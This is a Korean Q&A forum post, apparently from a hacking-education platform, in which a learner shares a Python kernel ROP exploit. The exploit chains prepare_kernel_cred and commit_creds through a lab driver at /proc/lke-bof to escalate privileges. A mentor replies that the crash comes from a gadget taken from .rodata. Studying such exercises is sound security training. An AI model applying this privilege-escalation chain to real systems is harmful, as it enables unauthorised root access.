완료됨
BUG: unable to handle page fault for address
from struct import pack
import os

pdi = 0xffffffff81b98337
RaxToRdi = 0xffffffff81583aaa
prepare_cred = 0xffffffff81081716
commit_cred = 0xffffffff8108157b

payload = b''
payload += pack('Q', pdi)
#payload += pack('Q', 0xffffffff810a1035)
payload += pack('Q', 0)
payload += pack('Q', prepare_cred)
#payload += pack('2Q', 0xffffffff81043661, 0)
payload += pack('Q', RaxToRdi)
payload += pack('Q', commit_cred)

open('/proc/lke-bof', 'wb').write(payload)
print(os.getuid())

위의 코드로 익스플로잇을 시도했는데, BUG: unable to handle page fault for address 이라는 에러 메세지와 함께 익스플로잇이 진행이 안됬습니다.
pop rdi ret 가젯의 주소가 뭔가 이상한 것같은데 vmlinux에서 rp++ 툴로 추출한 가젯인데 혹시 어떤 문제인지 아시는 분 계신가요.?

#시스템_해킹 #커널 #공격기법 #commit_creds #prepare_kernel_cred
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
5unkn0wn
강의 수강: 50

pop rdi 가젯이 코드 섹션이 아닌 .rodata 섹션에 존재하기 때문에 데이터 영역을 실행하다가 발생한 폴트입니다. 코드 섹션에 존재하는 가젯으로 주소를 바꿔주시면 될 것 같습니다.

2021.01.05. 15:30